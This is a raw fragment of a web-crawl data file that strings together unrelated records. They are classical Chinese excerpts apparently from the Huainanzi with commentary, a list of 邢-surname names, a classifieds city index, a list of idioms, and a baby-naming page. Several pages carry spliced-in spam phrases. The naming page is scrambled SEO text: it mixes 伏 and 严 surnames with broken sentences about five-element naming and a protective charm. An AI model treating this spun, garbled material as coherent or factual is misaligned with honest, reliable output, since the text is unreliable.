言\n为治之本。务在于安民。安民之本。在于足用。足用之本。在于勿夺时。勿夺时之本。在于省事。省事之本。在于节欲。节欲之本。在于反性。释道而任智者必危。弃数而用材者必困。有以欲多亡者。未有以无欲危者也。有以欲治而乱者。未有以守常失者也。故智不足以免患。愚不足以至于失宁。守其分。循其理。失之不忧。得之不喜。因春而生。因秋而杀。所生者不德。所杀者不怨。则近于道矣。\n圣人守其所以有。不求其所未得。求其所未得。则所有者亡矣。修其所有。则所欲者至矣。故用兵者。先为不可胜。以待敌之可胜也。治国者。先为不可夺也。以待敌之可夺也。舜修之历山。而海内从。文王修之岐周。而天下移。使舜趍天下之利。而忘修己之道。身犹弗能保。何尺地之有乎。故福莫大无祸。利莫美不丧。动之为物。不损则益。动。有为也。不成则毁。不利则病。皆险也。险。言危难不可行。道之者危。\n说 山\n上求材。臣残木。上求鱼。臣干谷。上求楫。而下致船。上言若丝。下言若纶。上有一善。下有二誉。上有三衰。下有九杀。衰。杀。皆喻俭也。传曰。上之所好。下尤甚焉。故有九杀也。\n人 间\n夫言出于口者。不可止于人。行发于迩者。不可禁于远。事者难成而易败也。名者难立而易废也。千里之堤。以蝼蚁之穴漏。百寻之屋。以突隙之烟焚。突。灶突也。尧戒曰。战战栗栗。日慎一日。莫蹪于山。而蹪于垤。蹪。踬。垤。螘封也。是故人者。皆轻小害。易微事。是以多悔。患至而后忧之。是犹病者已惓。惓。剧。而索良医也。虽有扁鹊。俞夫(夫作跗)之巧。犹不能生也。俞夫(夫作跗)。黄帝时医。\n天下有三危。少德而多宠。一危也。材下而位高。二危也。身无大功。而有厚禄。三危也。\n贤主不苟得。忠臣不苟利。何以明之。中行缪伯。攻鼓弗能下。中行缪伯。晋大夫。鼓。北翟。馈间(间或作闻)伦曰。鼓之啬夫。间(间或作闻)伦知之。馈间伦。晋大夫。请无疲武丈夫。而鼓可得也。缪伯弗应。左右曰。不折一戟。不伤一卒。而鼓可得也。君奚为弗取。缪伯曰。间(间或作闻)伦为人。佞而不仁。若使间(间或作闻)伦下之。吾可以勿赏乎。若赏之。是赏佞人。佞人得志。是使晋国之武。舍仁而为佞。虽得鼓。将何所用之。\n泰 族\n圣王在上位。廓然无形。寂然无声。官府若无事。朝廷若无人。无隐士。无逸民。无劳役。无寃刑。四海之内。莫不仰上之德。象主之指。夷狄之国。重译而至。非户辨而家说之也。推其诚心。施之天下而已矣。\n诗曰。惠此中国。以绥四方。内顺外宁矣。大王亶父处邠。狄人攻之(旧无处邠至攻之六字。补之)。杖策而去。百姓携幼扶老。而国乎岐周。非令之(旧无令之二字。补之)所能召也。秦穆公为食骏马之伤也。饮之美酒。以其死力报。非券之所责也。券。契也。季(季作宓)子治单父。夜渔(渔旧作亩。改之)者得小即释之。非刑之所能禁也。孔子为鲁司寇。田渔皆让长。长者得多。而斑白不负载。斑白。须有白发。非法之所能致也。\n夫矢之所以射远贯坚者。弩力也。其所以中的剖微者。人心也。赏善罚暴者。政令也。其所以行者。精诚也。故弩虽强。不能独中。令虽明。不能独行。必有精气所与之。故总道以被民。而民不从。诚心弗施也。\n天地四时。非生万物者。神明接。阴阳和。而万物生之。圣人之治天下。非易民性也。拊循其所有。而涤荡之。故因则大。化则细矣。能因循则大矣。化而欲作则小。先王之制法也。因民之所好。而为之节文者也。因其好色。而制婚姻之礼。故男女有班。因其好音。而正雅颂之声。故风俗不流。因其宁室家。乐妻子。教之以孝。故父子有亲。因其喜朋友。而教之以悌。故长幼有序。然后修朝聘。以明贵贱。乡饮习射。以明长幼。时搜振旅。以习用兵。搜。简车马也。入学庠序。以修人伦。此皆人所有于性。而圣人所匠成也。\n民无廉耻。不可治也。非修礼义。廉耻不立。民不知礼义。法弗能正也。非崇善废丑。不向礼义。无法不可以为治也。不知礼义不可以行法。法能杀不孝者。而不能使人为孔墨之行。法能刑窃盗者。而不能使人为伯夷之廉。孔子养徒三千人。皆入孝出悌。言为文章。行为仪表。教之所成也。墨子服役百八十人。皆可使赴火蹈刃。死不还踵。化之所致也。\n夫刻肌肤。镵皮革。被创流血。至难也。然越人为之以求荣也。越人以箴刺其皮。为龙文。圣王在位。明好憎以示人(人作之)。经诽誉以导之。亲贤而进之。贱不肖而退之。无被疮流血之患。而有高世尊显之名。民孰不从。\n古者法设而不犯。刑措而不用。非可刑而不刑也。百工维时。庶绩咸熙。礼义修而任贤得也。故举天下之高。以为三公。一国之高。以为九卿。一县之高。以为二十七大夫。一乡之高。以为八十一元士。各以小大之材。处其位得其宜。由本流末。以重制轻。上唱而民和。上动而下随。四海之内。一心同归。背贪鄙而向义理。于其以化民也。若风之摇草木。无之而不靡。\n今使愚教智。使不肖临贤。虽严刑罚。民弗从者。小不能制大。弱不能使强也。故圣主者。举贤以立功。不肖主举其所与同。文王举太公望。召公奭而王。桓公任管仲。隰朋而霸。此举贤以立功也。夫差用大宰嚭而灭。秦任李斯。赵高而亡。此举所与同也。故观其所举。而治乱可见也。察其党与。而贤不肖可论也。\n夫圣人之屈者。以求申也。枉者。以求直也。故虽出邪僻之道。行幽昧之涂。将欲以兴大道。成大功。犹出林之中。不得直道。拯溺之人。不得不濡足。夫观逐者于其反也。观行者于其终也。\n故百川并流。不注海者。不为川谷。趋行蹐驰。不归善者。不为君子。故善言归乎可行。善行归乎仁义。君子之过也。犹日月之蚀也。何害于明。小人之可也。犹狗之昼吠。鸱之夜见。何益于善。夫智者不妄为。勇者不妄发。择善而为之。计义而行之。故事成而功足赖也。身死而名足称也。虽有智能。必以仁义为之本。而后可立也。智能蹐驰。百事并作。圣人(人下有一字)以仁义为之准绳。中之者谓之君子。不中者谓之小人。\n人莫不知学之有益于己也。然而不能者。嬉戏害之也。人皆多以无用害有用。故知不博而日不足。以凿观池之力耕。则田野必辟矣。以积土山之高修堤防。则水用必足矣。以食狗马鸿鴈之费养士。则名誉必荣矣。以弋猎博奕之日诵诗书。则闻识必博矣。\n故上下异道则治。同道则乱。位高而道大者从。事大而道小者凶。\n故小快害义。小惠害道。小辩害治。苛峭伤德。大政不险。故民易遵。至治宽裕。故下不相贼。至德朴索。故民无慝。原蚕一岁再收。非不利也。然而王法禁之者。为其残桑也。家老异粮而食之。殊器而烹之。子妇跣而上堂。跪而酌羹。非不费也。然而不可省者。为其害义也。待媒而结言。娉纳而取妇。绂絻而亲迎。非不烦也。然而不可易者。可以防淫也。使民居处相司。有罪相告。于以禁奸。非不辍也。然而不可行者。为伤和睦之心。而构仇雠之怨也。故事有凿一孔而生百隟。树一物而生万叶者。所凿不足以为便。而所开足以为败。所树不足以为利。而所生足以为秽。愚者惑于小利。而忘其大害。不可以为法也。\n故仁。智。人材之美者也。所谓仁者爱人也。所谓智者知人也。爱人则无虐刑矣。知人则无乱政矣。三代之所以昌也。智伯有五过人之材。智伯。美髯长大。一材也。射御足力。二材也。伎艺毕极。三材也。巧文辩惠。四材也。强毅果敢。五材也。而不免于身死人手者。不爱人也。齐王建有三过人之巧力能引强。走先驰马。超能越高。而身虏于秦者。不知贤也。齐王建任用后胜之计。不用淳于越之言。故仁莫大于爱人。智莫大于知人。二者不立。虽察惠捷巧。不免于乱矣。","id":"","dump":"CC-MAIN-2021-31","url":"https:\/\/lingdaoli.com\/docs\/%E5%A2%9E%E8%A1%A5%E6%B7%AE%E5%8D%97%E5%AD%90%E6%B2%BB%E8%A6%81\/","date":"2021-07-26T00:59:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-31\/segments\/1627046151972.40\/warc\/CC-MAIN-20210726000859-20210726030859-00191.warc.gz","language":"lzh","language_score":0.3888842762,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.3888842761516571, \"cmn_Hani_score\": 0.3737596273422241, \"nan_Hani_score\": 0.05725349113345146, \"jpn_Jpan_score\": 0.046247322112321854, \"wuu_Hani_score\": 0.042502511292696, \"zxx_Latn_score\": 0.01176344882696867}","num_words":94,"character_repetition_ratio":0.002,"word_repetition_ratio":0.0,"special_characters_ratio":0.183,"stopwords_ratio":0.011,"flagged_words_ratio":0.0,"lang_id_score":0.389,"perplexity_score":500.0,"cluster_detection":1} +{"text":"提示:以下名字仅为在你起名时提供参考,请勿在未做分析的前提下直接使用。\n邢锦秀 邢晶磊 邢丽华 邢元贞 邢路健 邢路宽 邢研津 邢路鉴 邢启扬 邢启杨 邢启阳 邢汉宇 邢瀚瑜 邢瀚雨 邢翰宇 邢克兵 邢叔岩 邢舒岩 邢尧 邢梓鉴 邢占超 邢子鉴 邢怀香 邢瀚宵 邢诗涵 邢艳波 邢玉君 邢量 邢启墨 邢启 邢秋兵 邢天粒 邢康民 邢恩希 邢路遥 邢保超 邢晋铭 邢宴铭 邢顺菁 邢大龙 邢惠仙 邢广为 邢培淼 邢龙淼 邢淼策 邢广勤 邢子健 邢振德 邢浩春 邢淑军 邢淑君 邢立军 邢靖松 邢刚诚 邢高远 邢峰维 邢伦荣 邢顺贵 邢向阳 邢兰 邢轶清 邢力晤 邢力睃 邢彩云 邢光华 邢福远 邢益智 邢日凼 邢代凼 邢让凼 邢恋凼 邢叠凼 邢俪凼 邢宝凼 邢丽凼 邢适凼 邢黛凼 邢道凼 邢乐凼 邢畅凼 邢路凼 邢侦凼 邢越谭 邢昱凼 邢利凼 邢兆凼 邢哲凼 邢易凼 邢珍凼 邢家瑜 邢家瑞 邢佳羽 邢自桥 邢小举 邢储菡 邢储涵 邢储含 邢储函 邢玖宁 邢连荣 邢荣荣 邢应未 邢茸华 邢鸿宇 邢荣军 邢一凡 邢丽敏 邢照民 邢照堂 邢一航 邢翰林 邢林海 邢霖海 邢怀礼 邢庆如 邢枨 邢紫龙 邢葆沁 邢映 邢葆杰 邢承伟 邢毓琪 邢雅芹 邢继宏 邢渊鄢 邢志武 邢淼酝 邢海慵 邢海海 邢浩壑 邢立中 邢湛帏 邢诏暄 邢洪平 邢宗伟 邢砦嵘 邢暄鲔 邢暄纬 邢暄碚 邢诏诞 邢诏赈 邢贰诞 邢椿卉 邢涅嬲 邢埝嬲 邢友姝 邢剑鹏 邢云灿 邢敬平 邢平 邢杨杨 邢洋洋 邢加迹 邢玉敏 邢路平 邢峡 邢世鑫 邢译达 邢谨 邢谦 邢欲非 邢国顺 邢建君 邢健君 邢健军 邢海罗 邢雪琪 邢诗诗 邢雪迪 邢雪凡 邢永波 邢雪盈 邢汉武 邢忠江 邢雪彤 邢微 邢越超 邢月超 邢广 邢广在 邢涵韵 邢广士 邢广仁 邢雪彦 邢宾 邢洪波 邢玉仰 邢洪海 邢胜辉 邢润海 邢毅成 邢运 邢葆涵 邢葆澄 邢李燎 邢葆淳 邢路易 邢纪朋 邢望乾 邢俊昭 邢国粹 邢世傲 邢世翔 邢世壕 邢扬明 邢骜天 邢天旭 邢长明 邢丽波 邢应容 邢宣明 邢誉腾 邢国丰 邢海 邢增义 邢增仪 邢童童 邢艺童 邢茈童 邢紫童 邢惋艺 邢艺绒 邢惋绒 邢增伶 邢绒云 邢增龄 邢绒绒 邢增泠 邢雅云 邢增凌 邢增亦 邢艺莲 邢艺祥 邢艺雯 邢艺云 邢增壹 邢艺滢 邢增益 邢月影 邢艺欢 邢增皖 邢增绾 邢增万 邢增谦 邢增仟 邢增千 邢增佰 邢增百 邢紫汶 邢增眺 邢诗汶 邢增祧 邢诗阌 邢诗雯 邢诗云 邢诗珊 邢思绒 邢增显 邢思童 邢思彦 邢思宇 邢增僖 邢增皙 邢增晰 邢增祚 邢增忠 邢增治 邢增祉 邢增证 邢增臻 邢增祯 邢增哲 邢增昭 邢宝凯 邢云凯 邢哲伦 邢俚源 邢礼源 邢景泰 邢荣全 邢信强 邢荣辞 邢融驰 邢融辞 邢容池 邢容驰 邢容辞 邢奇 邢若宣 邢晓伟 邢家畅 邢少伟 邢凯博 邢博渊 邢博鸿 邢博润 邢博睿 邢博泓 邢博泰 邢博淼","id":"","dump":"CC-MAIN-2024-10","url":"http:\/\/agmtyzza.qmqm.net\/show_4Q0.aspx","date":"2024-02-23T16:04:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474440.42\/warc\/CC-MAIN-20240223153350-20240223183350-00079.warc.gz","language":"lzh","language_score":0.6905791163,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.6905791163444519, \"nan_Hani_score\": 0.07447844743728638, \"cmn_Hani_score\": 0.03728847950696945, \"yue_Hani_score\": 0.030928650870919228, \"und_Linb_score\": 0.02692377381026745, \"und_Sgnw_score\": 0.018688147887587547, \"jpn_Jpan_score\": 0.018501129001379013, \"zxx_Latn_score\": 0.015590809285640717, \"und_Grek_score\": 0.010003004223108292}","num_words":301,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.251,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.689,"perplexity_score":500.0,"cluster_detection":1} +{"text":"免費發布和查詢各類生活分類信息\n按拼音首字母選擇:\n- H.\n- 杭州 合肥 ???\/a> 哈爾濱 呼和浩特 衡水 懷化 惠州 湖州 賀州 鶴壁 黃石 黃岡 衡陽 哈密 和田 河源 淮南 淮北 黃山 河池 邯鄲 鶴崗 黑河 淮安 葫蘆島 呼倫貝爾 海東 海北 黃南 海西 菏澤 漢中 紅河\n- L.\n- 蘭州 拉薩 柳州 廊坊 洛陽 連云港 瀘州 六盤水 漯河 麗江 麗水 六安 龍巖 隴南 臨夏 羽毛球杀球:來賓 婁底 遼源 遼陽 萊蕪 臨沂 聊城 臨汾 呂梁 羽毛球杀球:樂山 涼山 林芝 臨滄","id":"","dump":"CC-MAIN-2019-30","url":"http:\/\/www.rfrlq.icu\/","date":"2019-07-23T20:41:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195529664.96\/warc\/CC-MAIN-20190723193455-20190723215455-00167.warc.gz","language":"lzh","language_score":0.5568971038,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.5568971037864685, \"nan_Hani_score\": 0.25607386231422424, \"cmn_Hani_score\": 0.18326349556446075}","num_words":66,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.333,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.596,"perplexity_score":500.0,"cluster_detection":1} +{"text":"可选中1个或多个下面的关键词,搜索相关资料。也可直接点\"搜索资料\"搜索整个问题。香港挂牌记录!\n展开全部丽景 洁白 明艳 丰姿 秀雅 艳丽 俊俏 娇艳 俏丽 娇嫩 春色 美艳 清秀 绝色 玉肤 不俗 妩媚 动人 晨光熹微 姹紫嫣红 肤如凝脂 湖光山色 蔚为壮观 我见犹怜 一表人才 春暖花开 百花争艳 天香国色 山清水秀 千娇百媚 春和景明 白璧无瑕 粉妆玉砌 美如冠玉 山明水秀 郁郁葱葱 春意阑珊 花团锦簇 五光十色 桃红柳绿 冰雪聪明 水天一色 五彩缤纷 含苞待放 玉宇琼楼 春晖寸草 春寒料峭 尽态极妍 皓齿明眸白练腾空 仙姿佚貌 金碧辉煌 朱唇皓齿 草长莺飞 春深似海 一笑千金 春风和气 春雨如油 春华秋实 满园春色 绝代佳人 波光粼粼 含苞欲放 蛾眉皓齿 暗香疏影 春光明媚 冰清玉洁 夭桃秾李 回眸一笑 春笋怒发 雾鬓风鬟 一表非凡 螓首蛾眉 倾城倾国 风清月朗 婀娜多姿 绿草如茵 小家碧玉 水木清华 沉鱼落雁 出水芙蓉 风驰电掣 高朋满座 门庭若市 春山如笑 风姿绰约 粉白黛黑 逞娇呈美 纷红骇绿 暴风骤雨 万紫千红亭亭玉立 美不胜收 楚楚动人 春意盎然 春蛙秋蝉 花枝招展 绿肥红瘦 眉目如画 二八佳人","id":"","dump":"CC-MAIN-2019-39","url":"http:\/\/flugga.com\/48215\/952.html","date":"2019-09-18T18:03:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514573323.60\/warc\/CC-MAIN-20190918172932-20190918194932-00297.warc.gz","language":"lzh","language_score":0.3960581124,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.3960581123828888, \"cmn_Hani_score\": 0.39017239212989807, \"yue_Hani_score\": 0.09233976900577545, \"nan_Hani_score\": 0.060401707887649536, \"jpn_Jpan_score\": 0.05364333093166351}","num_words":99,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.214,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.42,"perplexity_score":500.0,"cluster_detection":1} +{"text":"姓伏的男孩名字大全 伏姓男孩起名\n严宝诚 严晴霞 严达志 严天浩 徐墨斋居士曾说过,严映梦 严星宇 名字只有符合自己的命理,严晓荷 严晓岚 严智辉 严仲轩 严旭天 严晴曦 严若婷 从而改善宝宝的运势。严妙昕\n严志霆 严德文 严子暄 严韵娜 严炎凤 严昊磊 严念珍 严泰康 严灵芸 严炀天 严晴昊 严光耀 家长们可以给宝宝佩戴一枚\"双龙护运长命锁\"来驱邪免灾、保平安。严至德 严智深 严焕杰 ?\n那么对于五行缺火严姓起名,很多父母都希望能够利用名字来平衡五行,严俊锋 严晴兰 严昊云 严晓敏 严天宇 严志炜 五行喜木、火、土,严翰庭 严彩彤 。\n严紫烟 严焕丽 严晴丽 严姓五行缺火起名 女孩名字伏林宏 伏祥斌 伏泽儒 伏小荣 伏虞樱 伏宇顺 伏星宇 伏柘亚 伏雨檬 伏至臻 伏显明 伏浩钒 伏玟哲 伏凇元 伏明辉 伏轩晨 伏昶潼 伏伯忠 伏增时 伏思宇 伏心彤 伏镘如 伏天山 伏焕声 伏凌蕊 伏红骁 伏炳松 伏晋豪 伏俊宇 伏海华 伏音儒 伏西 伏奕谦 伏秉毅 伏青松 伏蔚久 伏胜鹃 伏逸铮 伏金衢 伏芸 伏小亓 伏木金 伏雨锋 伏煜泽 伏美涵 伏雪滢 伏鑫宇 伏学媚 伏皓义 伏允晨 伏以骐 伏志远 伏忱鹭 伏可为 伏远承 伏衍亮 伏百强 伏戴乐 伏清海 伏柯锋 伏薇 伏音绚 伏长渤 伏玉涵 伏珊珊 伏常委 伏佰远 伏泽语 伏正鸣 伏丹晨 伏澳翔 伏宾臻 伏国忠 伏灵轩 伏皓童 伏凡桐 伏玉虎 伏睿豪 伏荣兵 伏汶夯 伏睿承 伏祖唯 伏恺硕 伏识亦 严哲彦 严昕雅 。\n严彤辰 严玉婷 严昕芸 那么就可以用火属性的字给宝宝起名,严雨彤 严志辉 严昌俊 严雅晴 严昭云 !\n这样起好的名字才更能辅助宝宝平安成长。严冬娜 严晋忠 严亦晓 严灿嘉 严灵娜 严念珊 严乐佳 才会为自己带来好处。严尔泰 严诚旭 严昕兰 严天逸\n严德伦 严灿荣 严烟芸 严欣媛 严依婷 严玉妮 严恒文 对于八字中五行不平衡的宝宝,严昕茹 严雅婷 严进德 。\n严炎玲 严天妍 严煜明 严振凯 严曼妮 严紫晴 严佳乐 严忆彤 严炎月 例如你的宝宝是\"阳命水相人\",严昌华 严念君 。\n严伟庭 严晓玉 严辉帆 严明远 严炎诗 严素昕 严珊妮 严婷莉 严鸿烟 严振明 严旭景 严智尧 严昊漳 严卓兴 严寻诗 严智翰 严昕迪 严碧曼 严筱晴 !\n严昌庭 严暄明 严晓清 严雅乐 严炎君 该如何起才好呢?下面有起名网提供了一些带火属性的严姓名字,严德胜 。\n大家可以来参考一下: 伏若禹 伏鹤浩 伏芯彦 伏由易 伏峥 伏丽华 伏琳利 伏艾灵 伏广金 伏波 伏子木 伏春平 伏皓曦 伏安西 伏桂宝 伏艺曾 伏广爱 伏曼汶 伏志云 伏茶贝 伏星龙 伏起朝 伏珊珍 伏毅峥 伏牛山 伏凯硕 伏盈儒 伏柘如 伏绰琪 伏向荣 伏小未 伏昌威 伏曜强 伏泊儒 伏琛波 伏雨龙 伏宸昕 伏大树 伏艳菲 伏峰潮 伏勃臻 伏佰齐 伏晓庆 伏一恒 伏宝山 伏澜 伏霖 伏善恩 伏红根 伏焕荣 伏攀耀 伏梅凌 伏曦源 伏秉升 伏桂富 伏伟伟 伏孝霖 伏镇厚 伏曼利 伏广瑾 伏吟龙 伏容枝 伏兴秋 伏春阁 伏珂瑾 伏成清 伏道森 伏伟中 伏圣坤 伏征军 伏庆新 伏冰矾 伏淼焱 伏秣儒 伏春岱 伏欣楚 伏滨升 伏葳 伏博棋 伏清波 伏伯基 伏永威 伏伯涵 伏铃 伏思鸿 伏长委 伏梓君 伏贾坷 伏添岚 伏济光 伏乃柱 伏小莉 伏聃妮 伏墨林 伏浩成 伏波佑 伏凌寒 伏炜钦 伏允涛 伏安翔 伏咏颐 伏昱谦 伏奇杰 伏长灿 伏榆微 伏韵宜 伏亚曙 伏广志 伏子亦 伏曦圆 伏彡可 伏遨泉 伏肖霖 伏润民 伏洛威 伏星霖 伏蒽雅 伏翠生 伏炳雯 伏宗泽 伏泽亮 伏高 伏锦萱 伏秉岳 伏雅琪 伏昱坤 伏羚弘 伏弈儒 伏储豪 伏欣宜 伏华峰 伏冠豪 伏富秋 伏靖淞 伏帅帅 伏柯锐 伏储弘 伏亨彬 伏锌 伏闻康 伏昱芊 伏紫琦 伏峥震 伏毒 伏滢茜 伏博轩 伏译丹 伏哲明 伏炫佑 伏昀松 伏圣品 伏灵钰 伏金鹏 伏昕昕 伏翔瑜 伏超伟 伏浩钰 伏泊桥 伏罡成 伏寞然 伏望崇 伏舟 伏银龙 伏罡强 伏柯宇 伏俊濠 伏奕舒 伏尚靖 伏虹弟 伏水祥 伏如朗 伏永皓 伏辰涛 伏彬源 伏浩诚 伏栎淳 伏宣希 伏俊泽 伏永瑞 伏均健 伏朝军 伏震宇 伏金淋 伏蓓齐 伏炳薪 伏睿哲 伏柯如 伏鹤浚 伏麦冬 伏城霖 伏之力 伏梓烨 伏芹 伏图图 伏佰棋 伏彩蕊 伏若愚 伏琬萁 伏云焕 伏洪普 伏轶玺 伏江龙 伏珂玮 伏胜兰 伏虹橙 伏欣惠 伏至富 伏紫冰 伏耘欧 伏煜霁 伏宏宇 伏逸飞 伏欣睿 伏传凤 伏传俊 伏灿昌 伏彦飞 伏志余 伏圣江 伏乐 伏柄樨 伏徐磊 伏熠钥 伏子奕 伏子俊 伏珂欣 伏云竹 伏锐郗 伏皓洋 伏梅君 伏语檬 伏奕帆 伏汉城 伏林泽 伏弋弛 伏饼缔 伏洛琪 伏家欢 伏铎 伏竞元 伏建 伏程静 伏静秋 伏毓 伏琬坷 伏骜骜 伏金利 伏博睿 伏方瀚 伏大江 伏禹诺 伏小月 伏华婕 伏鸯芝 伏思畅 伏博衡 伏财德 伏波全 伏池江 伏德羽 伏宝庠 伏成九 伏雨欣 伏佰华 伏百鹏 伏与尘 伏才盛 伏晨懿 伏 伏者何 伏正辉 伏金凤 伏乐江 伏博垲 伏欣乐 伏思斓 伏千皓 伏祥兴 伏镇宇 伏逸源 伏立兵 伏达发 伏柯海 伏盎海 伏嫒烨 伏语彤 伏净玖 伏一统 伏廷洲 伏汉忠 伏雨湘 伏鑫孟 伏君 伏悦有 伏翌谦 伏博诚 伏珂海 伏忆锋 伏迪 伏紫君 伏治中 伏熙缘 伏佰焱 伏湛有 伏飞津 伏易之 伏杭 伏世贵 伏锦泽 伏弋竹 伏博毅 伏哲铭 伏钱喑 伏小慧 伏成海 伏炫琰 伏竣天 伏冰迤 伏欣芮 伏潇凌 伏欣宇 伏昕宇 伏小强 伏宜宗 伏聪毅 伏广成 伏未 伏锡伟 伏弛行 伏人庆 伏家逸 伏谱仰 伏思淼 伏晓曼 伏杨虹 伏胜绢 伏利明 伏琨鹏 伏琢鞅 伏戴攀 伏克函 伏新宇 伏泊百 伏峻材 伏炳衡 伏木子 伏弈祯 伏廷远 伏瑞鑫 伏宇涵 伏小陇 伏月如 伏珏 伏清水 伏求存 伏家恬 伏映芝 伏含蓓 伏浩洋 伏页先 伏新伟 伏禹轩 伏韦嘉 伏庆钊 伏菲 伏朋孝 伏佩晨 伏坚月 伏雪冬 伏思韦 伏晨雅 伏皓飞 伏屿 伏羿谦 伏小戈 伏潆滢 伏锦浩 伏光兴 伏川鹏 伏鸿镔 伏雯瀚 伏宸鑫 伏巷前 伏润金 伏子昭 伏常日 伏兴佳 伏转 伏佰岩 伏虹霏 伏勇全 伏皓岩 伏若菲 伏兴国 伏珊珠 伏宇睿 伏坤 伏秋桦 伏捷思 伏允松 伏升荣 伏君华 伏瑾 伏钰蕾 伏朝祥 伏智浩 伏琛月 伏炳昆 伏百桐 伏红兰 伏碧尹 伏春霖 伏红霖 伏若泽 伏丙祥 伏钧陶 伏曦缘 伏亚楠 伏浩钦 伏俪 伏梓雅 伏民 伏懿和 伏安心 伏士思 伏轩宸 伏维基 伏珊璐 伏笾灵 伏弼时 伏晨午 伏高飞 伏鑫渝 伏静轩 伏音栎 伏恒 伏雄烁 伏勋栩 伏铮 伏柯瑾 伏清山 伏馨 伏亮学 伏博树 伏皓夕 伏宇平 伏义健 伏伟刚 伏墨涵 伏禹麒 伏金峰 伏耀宇 伏盈惠 伏魁 伏羿杰 伏新波 伏佰彩 伏嘉诚 伏赫然 伏凌霄 伏弋舟 伏小灵 伏海书 伏桉彤 伏小山 伏程华 伏志强 伏轩益 伏科羽 伏炳梦 伏小林 伏罗罗 伏镘儒 伏彩香 伏浩闻 伏长飞 伏秉武 伏梦佳 伏耀林 伏天龙 伏佰强 伏长江 伏初慧 伏雨淇 伏亿康 伏皓爽 伏瀛 伏匀尧 伏多才 伏雨珊 伏炳升 伏思霖 伏丽菲 伏逸知 伏春山 伏笑燃 伏晓云 伏家礼 伏大伟 伏恒长 伏天庆 伏芯言 伏李天 伏开光 伏茜缘 伏秀强 伏安恬 伏宸赐 伏柯欣 伏佳枝 伏宛颦 伏丹桐 伏文凡 伏羿芊 伏贵鑫 伏淼淼 伏杨波 伏丽淇 伏吉弦 伏育庆 伏占宥 伏滇兰 伏圣荣 伏晓彤 伏渤瀚 伏铁军 伏倍庆 伏骏臣 伏春频 伏珍 伏予沐 伏柏州 伏裕来 伏晓明 伏沫林 伏丽妮 伏永鑫 伏珊 伏哲名 伏彩翼 伏勃宇 伏沫如 伏井恒 伏宝伟 伏清江 伏神隆 伏开然 伏皓严 伏承德 伏筠竹 伏力 伏娇 伏妤檬 伏召友 伏彦松 伏珊歆 伏禹翔 伏家贵 伏柘儒 伏宏恩 伏绮兰 伏秋同 伏仁德 伏铭恺 伏安欣 伏嘉楠 伏雪莹 伏轩荆 伏柏亮 伏侠玮 伏宁彦 伏诗佳 伏耀山 伏青和 伏铭钰 伏晨宸 伏映慧 伏劲潇 伏皓茜 伏胜男 伏剀 伏胜斌 伏艳敏 伏秉沂 伏缘 伏首渺 伏家斌 伏毅恒 伏金水 伏宏柳 伏屹伟 伏登杰 伏靖之 伏笑兰 伏育儒 伏丽静 伏佰瀚 伏屹昭 伏雨玟 伏毅之 伏川裕 伏德 伏轲 伏铎耀 伏晓辉 伏弈谦 伏炎龙 伏绍修 伏传奎 伏弋翔 伏清柏 伏禹锡 伏金钟 伏保增 伏夕竹 伏子毅 伏礼易 伏韦韦 伏鑫浩 伏建巧 伏小可 伏玉明 伏育杰 伏侃希 伏枫 伏欣语 伏胤昱 伏重上 伏永志 伏桂林 伏钧泽 伏高仕 伏学敏 伏传泊 伏圣凯 伏兮缘 伏忻积 伏芸萱 伏含笑 伏秀云 伏小卉 伏毅源 伏海海 伏进 伏爱华 伏开烨 伏兵 伏越中 伏希缘 伏玟泽 伏蕙 伏辛夷 伏宇森 伏薪羽 伏常伟 伏超凡 伏梅香 伏缦儒 伏高山 伏华荣 伏亚兰 伏珍钰 伏逸嘉 伏雅萱 伏涵洁 伏报名 伏蕾 伏海洋 伏梓桐 伏皓汐 伏竞为严心志 严丹心 严炎兰 严彤云 严晶云 严晓涛 如果家里条件允许的话,男孩名字 严丹绮 。\n严言明 严振伟 严明灿 严妍娜 严俊云 。而宝宝五行缺火,严碧灵 。\n关键词: 男孩起名","id":"","dump":"CC-MAIN-2019-51","url":"http:\/\/www.van46.com\/nanhaiqiming\/507.html","date":"2019-12-11T15:15:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540531917.10\/warc\/CC-MAIN-20191211131640-20191211155640-00187.warc.gz","language":"lzh","language_score":0.6249399185,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.6249399185180664, \"cmn_Hani_score\": 0.3064826428890228, \"nan_Hani_score\": 0.04975340515375137}","num_words":881,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.249,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.676,"perplexity_score":500.0,"cluster_detection":1} 